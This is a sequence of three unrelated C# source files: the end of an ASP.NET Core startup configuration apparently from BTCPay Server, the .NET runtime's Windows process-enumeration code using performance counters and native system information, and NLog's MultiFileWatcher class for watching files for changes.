(env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } app.UseHeadersOverride(); var forwardingOptions = new ForwardedHeadersOptions() { ForwardedHeaders = ForwardedHeaders.XForwardedFor | ForwardedHeaders.XForwardedProto }; forwardingOptions.KnownNetworks.Clear(); forwardingOptions.KnownProxies.Clear(); forwardingOptions.ForwardedHeaders = ForwardedHeaders.All; app.UseForwardedHeaders(forwardingOptions); app.UseStatusCodePagesWithReExecute("/errors/{0}"); app.UsePayServer(); app.UseRouting(); app.UseCors(); app.UseStaticFiles(new StaticFileOptions { OnPrepareResponse = ctx => { // Cache static assets for one year, set asp-append-version="true" on references to update on change. // https://andrewlock.net/adding-cache-control-headers-to-static-files-in-asp-net-core/ const int durationInSeconds = 60 * 60 * 24 * 365; ctx.Context.Response.Headers[HeaderNames.CacheControl] = "public,max-age=" + durationInSeconds; } }); app.UseProviderStorage(dataDirectories); app.UseAuthentication(); app.UseAuthorization(); app.UseSession(); app.UseWebSockets(); app.UseCookiePolicy(new CookiePolicyOptions() { HttpOnly = Microsoft.AspNetCore.CookiePolicy.HttpOnlyPolicy.Always, Secure = Microsoft.AspNetCore.Http.CookieSecurePolicy.SameAsRequest }); app.UseEndpoints(endpoints => { AppHub.Register(endpoints); PaymentRequestHub.Register(endpoints); endpoints.MapRazorPages(); endpoints.MapControllers(); endpoints.MapControllerRoute("default", "{controller:validate=UIHome}/{action:lowercase=Index}/{id?}"); }); app.UsePlugins(); } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Collections.Generic; using System.ComponentModel; using System.Globalization; using System.Runtime.InteropServices; using System.Threading; using Microsoft.Win32.SafeHandles; namespace System.Diagnostics { internal static partial class ProcessManager { /// <summary>Gets whether the process with the specified ID is currently running.</summary> /// <param name="processId">The process ID.</param> /// <returns>true if the process is running; otherwise, false.</returns> public static bool IsProcessRunning(int processId) { return IsProcessRunning(processId, "."); } /// <summary>Gets whether the process with the specified ID on the specified machine is currently running.</summary> /// <param name="processId">The process ID.</param> /// <param name="machineName">The machine name.</param> /// <returns>true if the process is running; otherwise, false.</returns> public static bool IsProcessRunning(int processId, string machineName) { // Performance optimization for the local machine: // First try to OpenProcess by id, if valid handle is returned, the process is definitely running // Otherwise enumerate all processes and compare ids if (!IsRemoteMachine(machineName)) { using (SafeProcessHandle processHandle = Interop.Kernel32.OpenProcess(Interop.Advapi32.ProcessOptions.PROCESS_QUERY_INFORMATION, false, processId)) { if (!processHandle.IsInvalid) { return true; } } } return Array.IndexOf(GetProcessIds(machineName), processId) >= 0; } /// <summary>Gets the ProcessInfo for the specified process ID on the specified machine.</summary> /// <param name="processId">The process ID.</param> /// <param name="machineName">The machine name.</param> /// <returns>The ProcessInfo for the process if it could be found; otherwise, null.</returns> public static ProcessInfo GetProcessInfo(int processId, string machineName) { ProcessInfo[] processInfos = ProcessManager.GetProcessInfos(machineName); foreach (ProcessInfo processInfo in processInfos) { if (processInfo.ProcessId == processId) { return processInfo; } } return null; } /// <summary>Gets the IDs of all processes on the specified machine.</summary> /// <param name="machineName">The machine to examine.</param> /// <returns>An array of process IDs from the specified machine.</returns> public static int[] GetProcessIds(string machineName) { // Due to the lack of support for EnumModules() on coresysserver, we rely // on PerformanceCounters to get the ProcessIds for both remote desktop // and the local machine, unlike Desktop on which we rely on PCs only for // remote machines. return IsRemoteMachine(machineName) ? NtProcessManager.GetProcessIds(machineName, true) : GetProcessIds(); } /// <summary>Gets the IDs of all processes on the current machine.</summary> public static int[] GetProcessIds() { return NtProcessManager.GetProcessIds(); } /// <summary>Gets the ID of a process from a handle to the process.</summary> /// <param name="processHandle">The handle.</param> /// <returns>The process ID.</returns> public static int GetProcessIdFromHandle(SafeProcessHandle processHandle) { return NtProcessManager.GetProcessIdFromHandle(processHandle); } /// <summary>Gets an array of module infos for the specified process.</summary> /// <param name="processId">The ID of the process whose modules should be enumerated.</param> /// <returns>The array of modules.</returns> public static ProcessModuleCollection GetModules(int processId) { return NtProcessManager.GetModules(processId); } private static bool IsRemoteMachineCore(string machineName) { string baseName; if (machineName.StartsWith("\\", StringComparison.Ordinal)) baseName = machineName.Substring(2); else baseName = machineName; if (baseName.Equals(".")) return false; return !string.Equals(Interop.Kernel32.GetComputerName(), baseName, StringComparison.OrdinalIgnoreCase); } // ----------------------------- // ---- PAL layer ends here ---- // ----------------------------- static ProcessManager() { // In order to query information (OpenProcess) on some protected processes // like csrss, we need SeDebugPrivilege privilege. // After removing the dependency on Performance Counter, we don't have a chance // to run the code in CLR performance counter to ask for this privilege. // So we will try to get the privilege here. // We could fail if the user account doesn't have right to do this, but that's fair. Interop.Advapi32.LUID luid = new Interop.Advapi32.LUID(); if (!Interop.Advapi32.LookupPrivilegeValue(null, Interop.Advapi32.SeDebugPrivilege, out luid)) { return; } SafeTokenHandle tokenHandle = null; try { if (!Interop.Advapi32.OpenProcessToken( Interop.Kernel32.GetCurrentProcess(), Interop.Kernel32.HandleOptions.TOKEN_ADJUST_PRIVILEGES, out tokenHandle)) { return; } Interop.Advapi32.TokenPrivileges tp = new Interop.Advapi32.TokenPrivileges(); tp.Luid = luid; tp.Attributes = Interop.Advapi32.SEPrivileges.SE_PRIVILEGE_ENABLED; // AdjustTokenPrivileges can return true even if it didn't succeed (when ERROR_NOT_ALL_ASSIGNED is returned). Interop.Advapi32.AdjustTokenPrivileges(tokenHandle, false, tp, 0, IntPtr.Zero, IntPtr.Zero); } finally { if (tokenHandle != null) { tokenHandle.Dispose(); } } } public static SafeProcessHandle OpenProcess(int processId, int access, bool throwIfExited) { SafeProcessHandle processHandle = Interop.Kernel32.OpenProcess(access, false, processId); int result = Marshal.GetLastWin32Error(); if (!processHandle.IsInvalid) { return processHandle; } if (processId == 0) { throw new Win32Exception(5); } // If the handle is invalid because the process has exited, only throw an exception if throwIfExited is true. if (!IsProcessRunning(processId)) { if (throwIfExited) { throw new InvalidOperationException(SR.Format(SR.ProcessHasExited, processId.ToString(CultureInfo.CurrentCulture))); } else { return SafeProcessHandle.InvalidHandle; } } throw new Win32Exception(result); } public static SafeThreadHandle OpenThread(int threadId, int access) { SafeThreadHandle threadHandle = Interop.Kernel32.OpenThread(access, false, threadId); int result = Marshal.GetLastWin32Error(); if (threadHandle.IsInvalid) { if (result == Interop.Errors.ERROR_INVALID_PARAMETER) throw new InvalidOperationException(SR.Format(SR.ThreadExited, threadId.ToString(CultureInfo.CurrentCulture))); throw new Win32Exception(result); } return threadHandle; } } /// <devdoc> /// This static class provides the process api for the WinNt platform. /// We use the performance counter api to query process and thread /// information. Module information is obtained using PSAPI. /// </devdoc> /// <internalonly/> internal static partial class NtProcessManager { private const int ProcessPerfCounterId = 230; private const int ThreadPerfCounterId = 232; private const string PerfCounterQueryString = "230 232"; internal const int IdleProcessID = 0; private static readonly Dictionary<String, ValueId> s_valueIds = new Dictionary<string, ValueId>(19) { { "Pool Paged Bytes", ValueId.PoolPagedBytes }, { "Pool Nonpaged Bytes", ValueId.PoolNonpagedBytes }, { "Elapsed Time", ValueId.ElapsedTime }, { "Virtual Bytes Peak", ValueId.VirtualBytesPeak }, { "Virtual Bytes", ValueId.VirtualBytes }, { "Private Bytes", ValueId.PrivateBytes }, { "Page File Bytes", ValueId.PageFileBytes }, { "Page File Bytes Peak", ValueId.PageFileBytesPeak }, { "Working Set Peak", ValueId.WorkingSetPeak }, { "Working Set", ValueId.WorkingSet }, { "ID Thread", ValueId.ThreadId }, { "ID Process", ValueId.ProcessId }, { "Priority Base", ValueId.BasePriority }, { "Priority Current", ValueId.CurrentPriority }, { "% User Time", ValueId.UserTime }, { "% Privileged Time", ValueId.PrivilegedTime }, { "Start Address", ValueId.StartAddress }, { "Thread State", ValueId.ThreadState }, { "Thread Wait Reason", ValueId.ThreadWaitReason } }; internal static int SystemProcessID { get { const int systemProcessIDOnXP = 4; return systemProcessIDOnXP; } } public static int[] GetProcessIds(string machineName, bool isRemoteMachine) { ProcessInfo[] infos = GetProcessInfos(machineName, isRemoteMachine); int[] ids = new int[infos.Length]; for (int i = 0; i < infos.Length; i++) ids[i] = infos[i].ProcessId; return ids; } public static int[] GetProcessIds() { int[] processIds = new int[256]; int size; for (; ; ) { if (!Interop.Kernel32.EnumProcesses(processIds, processIds.Length * 4, out size)) throw new Win32Exception(); if (size == processIds.Length * 4) { processIds = new int[processIds.Length * 2]; continue; } break; } int[] ids = new int[size / 4]; Array.Copy(processIds, 0, ids, 0, ids.Length); return ids; } public static ProcessModuleCollection GetModules(int processId) { return GetModules(processId, firstModuleOnly: false); } public static ProcessModule GetFirstModule(int processId) { ProcessModuleCollection modules = GetModules(processId, firstModuleOnly: true); return modules.Count == 0 ? null : modules[0]; } private static void HandleError() { int lastError = Marshal.GetLastWin32Error(); switch (lastError) { case Interop.Errors.ERROR_INVALID_HANDLE: case Interop.Errors.ERROR_PARTIAL_COPY: // It's possible that another thread caused this module to become // unloaded (e.g FreeLibrary was called on the module). Ignore it and // move on. break; default: throw new Win32Exception(lastError); } } public static int GetProcessIdFromHandle(SafeProcessHandle processHandle) { return Interop.Kernel32.GetProcessId(processHandle); } public static ProcessInfo[] GetProcessInfos(string machineName, bool isRemoteMachine) { PerformanceCounterLib library = null; try { library = PerformanceCounterLib.GetPerformanceCounterLib(machineName, new CultureInfo("en")); return GetProcessInfos(library); } catch (Exception e) { if (isRemoteMachine) { throw new InvalidOperationException(SR.CouldntConnectToRemoteMachine, e); } else { throw e; } } // We don't want to call library.Close() here because that would cause us to unload all of the perflibs. // On the next call to GetProcessInfos, we'd have to load them all up again, which is SLOW! } static ProcessInfo[] GetProcessInfos(PerformanceCounterLib library) { ProcessInfo[] processInfos; int retryCount = 5; do { try { byte[] dataPtr = library.GetPerformanceData(PerfCounterQueryString); processInfos = GetProcessInfos(library, ProcessPerfCounterId, ThreadPerfCounterId, dataPtr); } catch (Exception e) { throw new InvalidOperationException(SR.CouldntGetProcessInfos, e); } --retryCount; } while (processInfos.Length == 0 && retryCount != 0); if (processInfos.Length == 0) throw new InvalidOperationException(SR.ProcessDisabled); return processInfos; } static ProcessInfo[] GetProcessInfos(PerformanceCounterLib library, int processIndex, int threadIndex, byte[] data) { #if FEATURE_TRACESWITCH Debug.WriteLineIf(Process._processTracing.TraceVerbose, "GetProcessInfos()"); #endif Dictionary<int, ProcessInfo> processInfos = new Dictionary<int, ProcessInfo>(); List<ThreadInfo> threadInfos = new List<ThreadInfo>(); GCHandle dataHandle = new GCHandle(); try { dataHandle = GCHandle.Alloc(data, GCHandleType.Pinned); IntPtr dataBlockPtr = dataHandle.AddrOfPinnedObject(); Interop.Advapi32.PERF_DATA_BLOCK dataBlock = new Interop.Advapi32.PERF_DATA_BLOCK(); Marshal.PtrToStructure(dataBlockPtr, dataBlock); IntPtr typePtr = (IntPtr)((long)dataBlockPtr + dataBlock.HeaderLength); Interop.Advapi32.PERF_INSTANCE_DEFINITION instance = new Interop.Advapi32.PERF_INSTANCE_DEFINITION(); Interop.Advapi32.PERF_COUNTER_BLOCK counterBlock = new Interop.Advapi32.PERF_COUNTER_BLOCK(); for (int i = 0; i < dataBlock.NumObjectTypes; i++) { Interop.Advapi32.PERF_OBJECT_TYPE type = new Interop.Advapi32.PERF_OBJECT_TYPE(); Marshal.PtrToStructure(typePtr, type); IntPtr instancePtr = (IntPtr)((long)typePtr + type.DefinitionLength); IntPtr counterPtr = (IntPtr)((long)typePtr + type.HeaderLength); List<Interop.Advapi32.PERF_COUNTER_DEFINITION> counterList = new List<Interop.Advapi32.PERF_COUNTER_DEFINITION>(); for (int j = 0; j < type.NumCounters; j++) { Interop.Advapi32.PERF_COUNTER_DEFINITION counter = new Interop.Advapi32.PERF_COUNTER_DEFINITION(); Marshal.PtrToStructure(counterPtr, counter); string counterName = library.GetCounterName(counter.CounterNameTitleIndex); if (type.ObjectNameTitleIndex == processIndex) counter.CounterNameTitlePtr = (int)GetValueId(counterName); else if (type.ObjectNameTitleIndex == threadIndex) counter.CounterNameTitlePtr = (int)GetValueId(counterName); counterList.Add(counter); counterPtr = (IntPtr)((long)counterPtr + counter.ByteLength); } Interop.Advapi32.PERF_COUNTER_DEFINITION[] counters = counterList.ToArray(); for (int j = 0; j < type.NumInstances; j++) { Marshal.PtrToStructure(instancePtr, instance); IntPtr namePtr = (IntPtr)((long)instancePtr + instance.NameOffset); string instanceName = Marshal.PtrToStringUni(namePtr); if (instanceName.Equals("_Total")) continue; IntPtr counterBlockPtr = (IntPtr)((long)instancePtr + instance.ByteLength); Marshal.PtrToStructure(counterBlockPtr, counterBlock); if (type.ObjectNameTitleIndex == processIndex) { ProcessInfo processInfo = GetProcessInfo(type, (IntPtr)((long)instancePtr + instance.ByteLength), counters); if (processInfo.ProcessId == 0 && string.Compare(instanceName, "Idle", StringComparison.OrdinalIgnoreCase) != 0) { // Sometimes we'll get a process structure that is not completely filled in. // We can catch some of these by looking for non-"idle" processes that have id 0 // and ignoring those. #if FEATURE_TRACESWITCH Debug.WriteLineIf(Process._processTracing.TraceVerbose, "GetProcessInfos() - found a non-idle process with id 0; ignoring."); #endif } else { if (processInfos.ContainsKey(processInfo.ProcessId)) { // We've found two entries in the perfcounters that claim to be the // same process. We throw an exception. Is this really going to be // helpful to the user? Should we just ignore? #if FEATURE_TRACESWITCH Debug.WriteLineIf(Process._processTracing.TraceVerbose, "GetProcessInfos() - found a duplicate process id"); #endif } else { // the performance counters keep a 15 character prefix of the exe name, and then delete the ".exe", // if it's in the first 15. The problem is that sometimes that will leave us with part of ".exe" // at the end. If instanceName ends in ".", ".e", or ".ex" we remove it. string processName = instanceName; if (processName.Length == 15) { if (instanceName.EndsWith(".", StringComparison.Ordinal)) processName = instanceName.Substring(0, 14); else if (instanceName.EndsWith(".e", StringComparison.Ordinal)) processName = instanceName.Substring(0, 13); else if (instanceName.EndsWith(".ex", StringComparison.Ordinal)) processName = instanceName.Substring(0, 12); } processInfo.ProcessName = processName; processInfos.Add(processInfo.ProcessId, processInfo); } } } else if (type.ObjectNameTitleIndex == threadIndex) { ThreadInfo threadInfo = GetThreadInfo(type, (IntPtr)((long)instancePtr + instance.ByteLength), counters); if (threadInfo._threadId != 0) threadInfos.Add(threadInfo); } instancePtr = (IntPtr)((long)instancePtr + instance.ByteLength + counterBlock.ByteLength); } typePtr = (IntPtr)((long)typePtr + type.TotalByteLength); } } finally { if (dataHandle.IsAllocated) dataHandle.Free(); } for (int i = 0; i < threadInfos.Count; i++) { ThreadInfo threadInfo = (ThreadInfo)threadInfos[i]; ProcessInfo processInfo; if (processInfos.TryGetValue(threadInfo._processId, out processInfo)) { processInfo._threadInfoList.Add(threadInfo); } } ProcessInfo[] temp = new ProcessInfo[processInfos.Values.Count]; processInfos.Values.CopyTo(temp, 0); return temp; } static ThreadInfo GetThreadInfo(Interop.Advapi32.PERF_OBJECT_TYPE type, IntPtr instancePtr, Interop.Advapi32.PERF_COUNTER_DEFINITION[] counters) { ThreadInfo threadInfo = new ThreadInfo(); for (int i = 0; i < counters.Length; i++) { Interop.Advapi32.PERF_COUNTER_DEFINITION counter = counters[i]; long value = ReadCounterValue(counter.CounterType, (IntPtr)((long)instancePtr + counter.CounterOffset)); switch ((ValueId)counter.CounterNameTitlePtr) { case ValueId.ProcessId: threadInfo._processId = (int)value; break; case ValueId.ThreadId: threadInfo._threadId = (ulong)value; break; case ValueId.BasePriority: threadInfo._basePriority = (int)value; break; case ValueId.CurrentPriority: threadInfo._currentPriority = (int)value; break; case ValueId.StartAddress: threadInfo._startAddress = (IntPtr)value; break; case ValueId.ThreadState: threadInfo._threadState = (ThreadState)value; break; case ValueId.ThreadWaitReason: threadInfo._threadWaitReason = GetThreadWaitReason((int)value); break; } } return threadInfo; } internal static ThreadWaitReason GetThreadWaitReason(int value) { switch (value) { case 0: case 7: return ThreadWaitReason.Executive; case 1: case 8: return ThreadWaitReason.FreePage; case 2: case 9: return ThreadWaitReason.PageIn; case 3: case 10: return ThreadWaitReason.SystemAllocation; case 4: case 11: return ThreadWaitReason.ExecutionDelay; case 5: case 12: return ThreadWaitReason.Suspended; case 6: case 13: return ThreadWaitReason.UserRequest; case 14: return ThreadWaitReason.EventPairHigh; ; case 15: return ThreadWaitReason.EventPairLow; case 16: return ThreadWaitReason.LpcReceive; case 17: return ThreadWaitReason.LpcReply; case 18: return ThreadWaitReason.VirtualMemory; case 19: return ThreadWaitReason.PageOut; default: return ThreadWaitReason.Unknown; } } static ProcessInfo GetProcessInfo(Interop.Advapi32.PERF_OBJECT_TYPE type, IntPtr instancePtr, Interop.Advapi32.PERF_COUNTER_DEFINITION[] counters) { ProcessInfo processInfo = new ProcessInfo(); for (int i = 0; i < counters.Length; i++) { Interop.Advapi32.PERF_COUNTER_DEFINITION counter = counters[i]; long value = ReadCounterValue(counter.CounterType, (IntPtr)((long)instancePtr + counter.CounterOffset)); switch ((ValueId)counter.CounterNameTitlePtr) { case ValueId.ProcessId: processInfo.ProcessId = (int)value; break; case ValueId.PoolPagedBytes: processInfo.PoolPagedBytes = value; break; case ValueId.PoolNonpagedBytes: processInfo.PoolNonPagedBytes = value; break; case ValueId.VirtualBytes: processInfo.VirtualBytes = value; break; case ValueId.VirtualBytesPeak: processInfo.VirtualBytesPeak = value; break; case ValueId.WorkingSetPeak: processInfo.WorkingSetPeak = value; break; case ValueId.WorkingSet: processInfo.WorkingSet = value; break; case ValueId.PageFileBytesPeak: processInfo.PageFileBytesPeak = value; break; case ValueId.PageFileBytes: processInfo.PageFileBytes = value; break; case ValueId.PrivateBytes: processInfo.PrivateBytes = value; break; case ValueId.BasePriority: processInfo.BasePriority = (int)value; break; case ValueId.HandleCount: processInfo.HandleCount = (int)value; break; } } return processInfo; } static ValueId GetValueId(string counterName) { if (counterName != null) { ValueId id; if (s_valueIds.TryGetValue(counterName, out id)) return id; } return ValueId.Unknown; } static long ReadCounterValue(int counterType, IntPtr dataPtr) { if ((counterType & Interop.Advapi32.PerfCounterOptions.NtPerfCounterSizeLarge) != 0) return Marshal.ReadInt64(dataPtr); else return (long)Marshal.ReadInt32(dataPtr); } enum ValueId { Unknown = -1, HandleCount, PoolPagedBytes, PoolNonpagedBytes, ElapsedTime, VirtualBytesPeak, VirtualBytes, PrivateBytes, PageFileBytes, PageFileBytesPeak, WorkingSetPeak, WorkingSet, ThreadId, ProcessId, BasePriority, CurrentPriority, UserTime, PrivilegedTime, StartAddress, ThreadState, ThreadWaitReason } } internal static partial class NtProcessInfoHelper { private static int GetNewBufferSize(int existingBufferSize, int requiredSize) { if (requiredSize == 0) { // // On some old OS like win2000, requiredSize will not be set if the buffer // passed to NtQuerySystemInformation is not enough. // int newSize = existingBufferSize * 2; if (newSize < existingBufferSize) { // In reality, we should never overflow. // Adding the code here just in case it happens. throw new OutOfMemoryException(); } return newSize; } else { // allocating a few more kilo bytes just in case there are some new process // kicked in since new call to NtQuerySystemInformation int newSize = requiredSize + 1024 * 10; if (newSize < requiredSize) { throw new OutOfMemoryException(); } return newSize; } } // Use a smaller buffer size on debug to ensure we hit the retry path. #if DEBUG private const int DefaultCachedBufferSize = 1024; #else private const int DefaultCachedBufferSize = 128 * 1024; #endif private static unsafe ProcessInfo[] GetProcessInfos(IntPtr dataPtr) { // Use a dictionary to avoid duplicate entries if any // 60 is a reasonable number for processes on a normal machine. Dictionary<int, ProcessInfo> processInfos = new Dictionary<int, ProcessInfo>(60); long totalOffset = 0; while (true) { IntPtr currentPtr = (IntPtr)((long)dataPtr + totalOffset); ref SystemProcessInformation pi = ref *(SystemProcessInformation *)(currentPtr); // get information for a process ProcessInfo processInfo = new ProcessInfo(); // Process ID shouldn't overflow. OS API GetCurrentProcessID returns DWORD. processInfo.ProcessId = pi.UniqueProcessId.ToInt32(); processInfo.SessionId = (int)pi.SessionId; processInfo.PoolPagedBytes = (long)pi.QuotaPagedPoolUsage; ; processInfo.PoolNonPagedBytes = (long)pi.QuotaNonPagedPoolUsage; processInfo.VirtualBytes = (long)pi.VirtualSize; processInfo.VirtualBytesPeak = (long)pi.PeakVirtualSize; processInfo.WorkingSetPeak = (long)pi.PeakWorkingSetSize; processInfo.WorkingSet = (long)pi.WorkingSetSize; processInfo.PageFileBytesPeak = (long)pi.PeakPagefileUsage; processInfo.PageFileBytes = (long)pi.PagefileUsage; processInfo.PrivateBytes = (long)pi.PrivatePageCount; processInfo.BasePriority = pi.BasePriority; processInfo.HandleCount = (int)pi.HandleCount; if (pi.ImageName.Buffer == IntPtr.Zero) { if (processInfo.ProcessId == NtProcessManager.SystemProcessID) { processInfo.ProcessName = "System"; } else if (processInfo.ProcessId == NtProcessManager.IdleProcessID) { processInfo.ProcessName = "Idle"; } else { // for normal process without name, using the process ID. processInfo.ProcessName = processInfo.ProcessId.ToString(CultureInfo.InvariantCulture); } } else { string processName = GetProcessShortName(Marshal.PtrToStringUni(pi.ImageName.Buffer, pi.ImageName.Length / sizeof(char))); processInfo.ProcessName = processName; } // get the threads for current process processInfos[processInfo.ProcessId] = processInfo; currentPtr = (IntPtr)((long)currentPtr + Marshal.SizeOf(pi)); int i = 0; while (i < pi.NumberOfThreads) { ref SystemThreadInformation ti = ref *(SystemThreadInformation *)(currentPtr); ThreadInfo threadInfo = new ThreadInfo(); threadInfo._processId = (int)ti.ClientId.UniqueProcess; threadInfo._threadId = (ulong)ti.ClientId.UniqueThread; threadInfo._basePriority = ti.BasePriority; threadInfo._currentPriority = ti.Priority; threadInfo._startAddress = ti.StartAddress; threadInfo._threadState = (ThreadState)ti.ThreadState; threadInfo._threadWaitReason = NtProcessManager.GetThreadWaitReason((int)ti.WaitReason); processInfo._threadInfoList.Add(threadInfo); currentPtr = (IntPtr)((long)currentPtr + Marshal.SizeOf(ti)); i++; } if (pi.NextEntryOffset == 0) { break; } totalOffset += pi.NextEntryOffset; } ProcessInfo[] temp = new ProcessInfo[processInfos.Values.Count]; processInfos.Values.CopyTo(temp, 0); return temp; } // This function generates the short form of process name. // // This is from GetProcessShortName in NT code base. // Check base\screg\winreg\perfdlls\process\perfsprc.c for details. internal static string GetProcessShortName(String name) { if (String.IsNullOrEmpty(name)) { #if FEATURE_TRACESWITCH Debug.WriteLineIf(Process._processTracing.TraceVerbose, "GetProcessInfos() - unexpected blank ProcessName"); #endif return String.Empty; } int slash = -1; int period = -1; for (int i = 0; i < name.Length; i++) { if (name[i] == '\\') slash = i; else if (name[i] == '.') period = i; } if (period == -1) period = name.Length - 1; // set to end of string else { // if a period was found, then see if the extension is // .EXE, if so drop it, if not, then use end of string // (i.e. include extension in name) String extension = name.Substring(period); if (String.Equals(".exe", extension, StringComparison.OrdinalIgnoreCase)) period--; // point to character before period else period = name.Length - 1; // set to end of string } if (slash == -1) slash = 0; // set to start of string else slash++; // point to character next to slash // copy characters between period (or end of string) and // slash (or start of string) to make image name return name.Substring(slash, period - slash + 1); } // native struct defined in ntexapi.h [StructLayout(LayoutKind.Sequential)] internal unsafe struct SystemProcessInformation { internal uint NextEntryOffset; internal uint NumberOfThreads; private fixed byte Reserved1[48]; internal Interop.UNICODE_STRING ImageName; internal int BasePriority; internal IntPtr UniqueProcessId; private UIntPtr Reserved2; internal uint HandleCount; internal uint SessionId; private UIntPtr Reserved3; internal UIntPtr PeakVirtualSize; // SIZE_T internal UIntPtr VirtualSize; private uint Reserved4; internal UIntPtr PeakWorkingSetSize; // SIZE_T internal UIntPtr WorkingSetSize; // SIZE_T private UIntPtr Reserved5; internal UIntPtr QuotaPagedPoolUsage; // SIZE_T private UIntPtr Reserved6; internal UIntPtr QuotaNonPagedPoolUsage; // SIZE_T internal UIntPtr PagefileUsage; // SIZE_T internal UIntPtr PeakPagefileUsage; // SIZE_T internal UIntPtr PrivatePageCount; // SIZE_T private fixed long Reserved7[6]; } [StructLayout(LayoutKind.Sequential)] internal unsafe struct SystemThreadInformation { private fixed long Reserved1[3]; private uint Reserved2; internal IntPtr StartAddress; internal CLIENT_ID ClientId; internal int Priority; internal int BasePriority; private uint Reserved3; internal uint ThreadState; internal uint WaitReason; } [StructLayout(LayoutKind.Sequential)] internal struct CLIENT_ID { internal IntPtr UniqueProcess; internal IntPtr UniqueThread; } } }
// // Copyright (c) 2004-2021 Jaroslaw Kowalski <jaak@jkowalski.net>, Kim Christensen, Julian Verdurmen // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * Neither the name of Jaroslaw Kowalski nor the names of its // contributors may be used to endorse or promote products derived from this // software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF // THE POSSIBILITY OF SUCH DAMAGE. // #if !SILVERLIGHT && !__IOS__ && !__ANDROID__ && !NETSTANDARD1_3 namespace NLog.Internal { using System; using System.Collections.Generic; using System.IO; using NLog.Common; /// <summary> /// Watches multiple files at the same time and raises an event whenever /// a single change is detected in any of those files. /// </summary> internal sealed class MultiFileWatcher : IDisposable { private readonly Dictionary<string, FileSystemWatcher> _watcherMap = new Dictionary<string, FileSystemWatcher>(); /// <summary> /// The types of changes to watch for. /// </summary> public NotifyFilters NotifyFilters { get; set; } /// <summary> /// Occurs when a change is detected in one of the monitored files. /// </summary> public event FileSystemEventHandler FileChanged; public MultiFileWatcher() : this(NotifyFilters.LastWrite | NotifyFilters.CreationTime | NotifyFilters.Size | NotifyFilters.Security | NotifyFilters.Attributes) { } public MultiFileWatcher(NotifyFilters notifyFilters) { NotifyFilters = notifyFilters; } /// <summary> /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. /// </summary> public void Dispose() { FileChanged = null; // Release event listeners StopWatching(); GC.SuppressFinalize(this); } /// <summary> /// Stops watching all files. /// </summary> public void StopWatching() { lock (_watcherMap) { foreach (FileSystemWatcher watcher in _watcherMap.Values) { StopWatching(watcher); } _watcherMap.Clear(); } } /// <summary> /// Stops watching the specified file. /// </summary> /// <param name="fileName"></param> public void StopWatching(string fileName) { lock (_watcherMap) { FileSystemWatcher watcher; if (_watcherMap.TryGetValue(fileName, out watcher)) { StopWatching(watcher); _watcherMap.Remove(fileName); } } } /// <summary> /// Watches the specified files for changes. /// </summary> /// <param name="fileNames">The file names.</param> public void Watch(IEnumerable<string> fileNames) { if (fileNames == null) { return; } foreach (string s in fileNames) { Watch(s); } } [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope", Justification = "Watcher is released in Dispose()")] internal void Watch(string fileName) { var directory = Path.GetDirectoryName(fileName); if (!Directory.Exists(directory)) { InternalLogger.Warn("Cannot watch file {0} for changes as directory {1} doesn't exist", fileName, directory); return; } var fileFilter = Path.GetFileName(fileName); lock (_watcherMap) { if (_watcherMap.ContainsKey(fileName)) return; FileSystemWatcher watcher = null; try { watcher = new FileSystemWatcher { Path = directory, Filter = fileFilter, NotifyFilter = NotifyFilters }; watcher.Created += OnFileChanged; watcher.Changed += OnFileChanged; watcher.Deleted += OnFileChanged; watcher.Renamed += OnFileChanged; watcher.Error += OnWatcherError; watcher.EnableRaisingEvents = true; InternalLogger.Debug("Watching path '{0}' filter '{1}' for changes.", watcher.Path, watcher.Filter); _watcherMap.Add(fileName, watcher); } catch (Exception ex) { InternalLogger.Error(ex, "Failed Watching path '{0}' with file '{1}' for changes.", directory, fileName); if (ex.MustBeRethrown()) throw; if (watcher != null) { StopWatching(watcher); } } } } private void StopWatching(FileSystemWatcher watcher) { try { InternalLogger.Debug("Stopping file watching for path '{0}' filter '{1}'", watcher.Path, watcher.Filter); watcher.EnableRaisingEvents = false; watcher.Created -= OnFileChanged; watcher.Changed -= OnFileChanged; watcher.Deleted -= OnFileChanged; watcher.Renamed -= OnFileChanged; watcher.Error -= OnWatcherError; watcher.Dispose(); } catch (Exception ex) { InternalLogger.Error(ex, "Failed to stop file watcher for path '{0}' filter '{1}'", watcher.Path, watcher.Filter); if (ex.MustBeRethrown()) throw; } } private void OnWatcherError(object source, ErrorEventArgs e) { var watcherPath = string.Empty; var watcher = source as FileSystemWatcher; if (watcher != null) watcherPath = watcher.Path; var exception = e.GetException(); if (exception != null) InternalLogger.Warn(exception, "Error Watching Path {0}", watcherPath); else InternalLogger.Warn("Error Watching Path {0}", watcherPath); } private void OnFileChanged(object source, FileSystemEventArgs e) { var changed = FileChanged; if (changed != null) { try { changed(source, e); } catch (Exception ex) { InternalLogger.Error(ex, "Error Handling File Changed"); if (ex.MustBeRethrownImmediately()) throw; } } } } } #endif
